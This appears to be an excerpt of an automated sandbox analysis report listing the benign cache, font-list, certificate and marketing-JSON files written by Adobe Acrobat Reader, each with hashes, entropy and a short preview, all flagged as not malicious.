SHA-512:	F60509E193566EA211F3CD1097A5DBC2916073DA0BF598F43673B7F6F355D9FCDADA0BB212B69CEF27715CDD826C57D18AD8DB9CCE5F180E073849D02951DBF9
Malicious:	false
Preview:	2024/10/03-22:27:29.376 1648 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/03-22:27:29.383 1648 Recovering log #3.2024/10/03-22:27:29.408 1648 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.194635390814202
Encrypted:	false
SSDEEP:	6:weAQ+q2PN72nKuAl9OmbzNMxIFUt8ruFAgZmw+FUfNAQVkwON72nKuAl9OmbzNMT:aVvVaHAa8jFUt8y6g/+FpI5OaHAa84J
MD5:	5E58AB65E459C651E5634035440F7D4F
SHA1:	BD87A2212B8B3E8B45CD81043267D1D81CEDDFDC
SHA-256:	C16E76F24A2BF90295297E5BC42E7D6B289699C515DD266B1A068E9EDB862054
SHA-512:	F60509E193566EA211F3CD1097A5DBC2916073DA0BF598F43673B7F6F355D9FCDADA0BB212B69CEF27715CDD826C57D18AD8DB9CCE5F180E073849D02951DBF9
Malicious:	false
Preview:	2024/10/03-22:27:29.376 1648 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/03-22:27:29.383 1648 Recovering log #3.2024/10/03-22:27:29.408 1648 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241004022732Z-155.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	0.4361530472391304
Encrypted:	false
SSDEEP:	96:9qmz8njOMpM97svMMMn2UzF6bp7uN0ZAkhfjVu:fgnj+47uN0ZAknu
MD5:	1BB5A1A4B1C6DA717581CC416FD4098F
SHA1:	BB316E137CE07750889265DE923A3755F2F94455
SHA-256:	74A9C19C7D951A7A59516FF5A0AD74586EB1012FFDB762E8E9DE6FC9C42C7190
SHA-512:	1A594B7B6394ACA83F65F0A0874359789117F70854B28571864180E2705D2F1A1C7CF804E7F705BEE9C0057144F0133128B0A16218205026311C6162234DBE56
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444632652237286
Encrypted:	false
SSDEEP:	384:ye6ci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m6s3OazzU89UTTgUL
MD5:	DEA836D1993251A27318B116E68A5CFA
SHA1:	015F2D0D177AD45D649E106DC2AEF32A19BEB592
SHA-256:	2BCCEF0696353E69E1088A1E57C2B0FAE396DCA7FC7735E5794E8018D5303E21
SHA-512:	F37B9AB7154F2A6DCFE0C3B5A03ED7EFB4E12D5F63D7CCA58B6F866518DBB277E287C5A6E66E475582DC789F476F6EBE77490F16C5B760BC63838FE971882987
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7648954596448894
Encrypted:	false
SSDEEP:	48:7MnJioyVXioyjoy1C7oy16oy15KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Of:7QJuXdMXjBiqb9IVXEBodRBkT
MD5:	D7BAD731D896291D38A1054DAC9883CA
SHA1:	D9F44B91AE0F8A1EF273C73A218EC0CDF63330E0
SHA-256:	D98FAAC75A507D340603D2157C962B10581E3F7FDF069E717081F87666552ADB
SHA-512:	A5A99016ACAEE350A0EA7CD5A1B22CA9F53EFC53813BA058801B2E150126D864EC1D06CB47C3B212376651FF28BA17964248016830408A8C7AA4EDF8EBF87E08
Malicious:	false
Preview:	.... .c......h................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.754329157248748
Encrypted:	false
SSDEEP:	3:kkFkl0SQZ//XfllXlE/HT8kpvNNX8RolJuRdxLlGB9lQRYwpDdt:kKt5/IT8sVNMa8RdWBwRd
MD5:	AE5E72044C0C87CCA3BF6E0D8A3E7BAB
SHA1:	983AC6458C91AE2445D85B2E6ECC1613E652A0B0
SHA-256:	A56C3D3D4FF54262E043E84DBA55B6DB5C707EF4DE2714AB7B9D9DF0CEA4D93A
SHA-512:	6F9FA9B951A0C705DC80B4A29149A3956A34C0F1DFD89C37C290677DD1234E5B2121A89A9AB14B84B03FA67299FF7C0FDD68BFFDC08DFCFC2B32B9F5D7018E69
Malicious:	false
Preview:	p...... .........w......(....................................................... ..........W....1...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1402905242023684
Encrypted:	false
SSDEEP:	6:kKf99UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:EDnLNkPlE99SNxAhUe/3
MD5:	C9CBBDAE48FDE6D503D2EE45FFC0E5F5
SHA1:	27867FEA129111BEC59A05F6E10629EE7A6BB36C
SHA-256:	1F24A3905433E60AAF16229C9A0AD13798A45D295A58E9C96F6B323B83E43EE9
SHA-512:	C15FCDE79E5D5FCE7BB43B0C38B44CE2471E9384747F8F7EF0D9495C9ABA081BF5290F86B980435657E4424513B408D3B41BB2DC1AF5E7DCE55A0F7FB8619EE7
Malicious:	false
Preview:	p...... ................(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2188

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	227002
Entropy (8bit):	3.392780893644728
Encrypted:	false
SSDEEP:	1536:qKPC4iyzDtrh1cK3XEivK7VK/3AYvYwgF/rRoL+sn:XPCaJ/3AYvYwglFoL+sn
MD5:	265E3E1166312A864FB63291EA661C6A
SHA1:	80DFF3187FF929596EB22E1DB9021BAD6F97178C
SHA-256:	C13E08B1887A4E44DC39609D7234E8D732A6BC11313B55D6F4ECFB060CD87728
SHA-512:	48776A2BFE8F25E5601DCC0137F7AB103D5684517334B806E3ACF61683DD9B283828475FC85CE0CBE4E8AF88E6F8B25EED0A77640E2CFFF2CC73708726519AFA
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37655011514318
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJM3g98kUwPeUkwRe9:YvXKXFZlt60c1GMbLUkee9
MD5:	270B2889A5FA193B05411AEAD96423C2
SHA1:	E9B19506A2946308A900860A9E1A6FA4019CA29C
SHA-256:	F4D8C32B04D70BD1C889A43E9C80E8556626B660DA6F0AD5F9685BA3DFB029C9
SHA-512:	E059199B56A3F5CD9D0E25D20E852450FF519888194502F631365C43DDB134E347C78EF7B4F0293A0A94106D49A2B2FE71F8D5A822760355FAE3B473D473AD44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3308016926328765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfBoTfXpnrPeUkwRe9:YvXKXFZlt60c1GWTfXcUkee9
MD5:	2EB17D653998FC6A69317561433A1A47
SHA1:	A8CA5DF5C5765CF769DF8A7C479CFA1FD671D957
SHA-256:	ED28890218CCBBD9335CFFB768C9850F486C25DB84F436277C8736A61708AE29
SHA-512:	CB30B0B340722ADA0365A42D14F9CB7074E406552AA37307FA82E94A639B5D7CA314A647E76AE48E575415EF5CEEC02691E30C03E32F7AF34F8CEA6E17675F91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.309692545243633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfBD2G6UpnrPeUkwRe9:YvXKXFZlt60c1GR22cUkee9
MD5:	BB556C166B6670FCC66AC744784C2428
SHA1:	8C79D296BB77898F9935FBF6F58D9C0FFB3737B1
SHA-256:	CABE74655217818E9B55450B77AD8EEFA546D69C50457276254AD0A61F70569D
SHA-512:	135BC8143449E169EE3B76824F3DC468BC3979B9FF3B373478980B22A44EDEAC6FA738CB9DC5F23738A0CAE4657C1E02D00132E99C55CD45EE9A7881C3DD885E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357035383046626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfPmwrPeUkwRe9:YvXKXFZlt60c1GH56Ukee9
MD5:	AD216A0D66368B8DBCF7572013088398
SHA1:	CC1A84E2912C60F3672F9CAC9010F3D8A4D749E7
SHA-256:	03A9D6854BC082B600DE22488F68C7CAF10F076E7F2496370F72E7238AF069C7
SHA-512:	E657572688B8B017BEA6C842E32EDDD0E0B19397A3D61FF148CB10BCA96F8E0266C72217DFFDCD4B60E6DA55897FFA742C6611430B879E9480569839B128EA8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	5.696646125280765
Encrypted:	false
SSDEEP:	24:Yv6X1sZapLgE7cgD6SOGtnnl0RCmK8czOCYvSG5:Yv85hgs6SraAh8cvYKG5
MD5:	BBB4EF1A43BC7B7100068CFAF1DA225A
SHA1:	072CF058D081587063E57CB105AAF72C3B438563
SHA-256:	5660FA1FAF4E197A7FF29D7616147C20CA763B79369F49C948DA21124B511B7D
SHA-512:	44952C02C3F19928C3D50A5CD84C968D9FE4F807E8DB94A743D3DFC06244B6C4C9321962E3E92964E52DAE99D7541FAAC2BD0E99AD516ED3CB8A7C0465ABF334
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_281075ActionBlock_2","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"67a3a874-888f-4d96-9f3d-26e70c3e0be1","variationId":"281075"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQgUERGIGZpbGVzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNhdElkIjoiUkdTMDM1MS1FTlUtQ2hhbGxlbmdlcjIifQ==","dataType":"ap

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.660677936576913
Encrypted:	false
SSDEEP:	24:Yv6X1sZ8VLgEF0c7sbnl0RCmK8czOCYHflEpwiVr5:Yv81Fg6sGAh8cvYHWpwG5
MD5:	961EBDF1EA6E8D51B962FB570E7FADB8
SHA1:	854D68599FC2C31EF7A5735D1CB8D90AE2A1256B
SHA-256:	00B7F6A9A602D7F021291353737BBFA4768D42BA9E96B6EE5F2AD896EF0BDC1A
SHA-512:	1B94B6E4D81833E89890638C65201DC92EB1D9D75B1A986A06A181FAA68C776059E69D2FEDC174DD63ED2E6506D26A7D91C83428EC34DF28E7A3F413A5AD4AD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.315392637488621
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSk/ltouORl0nZiQ0YG+oAvJfQ1rPeUkwRe9:YvXKXFZlt60c1GY16Ukee9
MD5:	7B4954AC10FC9C8AA4C2D1C516648915
SHA1:	03475E2B587C3ED07AD8EBBE2F459C0B9D324FBF
SHA-256:	8D67554FCE5DEBD1A441E013F9AEDDF312821D9A52347193E914EA977E41BDCD
SHA-512:	5BB9D233BEFD8084B1EA3672E8FCA755E9C719BB01E5B2BFEF3FD96E8360285D86FEA70D677B8C91954A10B5B204CAA31EF9239FB5E090F5EBBBD6B28302BDAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"277260f8-4a49-4f3f-8584-72b4696360f6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1728186020359,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	5.696151699290646
Encrypted:	false
SSDEEP:	24:Yv6X1sZh2LgEFcs2SOGt0nl0RCmK8czOCUaBtCrfSG5:Yv8Uogq2SrhAh8cvUgEmG5
MD5:	66020088F8B8B7C46FA8B52D7E56B654
SHA1:	F74EC54A164B08DC277BFD0AB3D4C16FDF24D1D0
SHA-256:	725A7E68D3F892AC227680BDA48AAE3B69EBB0F98ACA7B5D95BCB4AFB45AC697
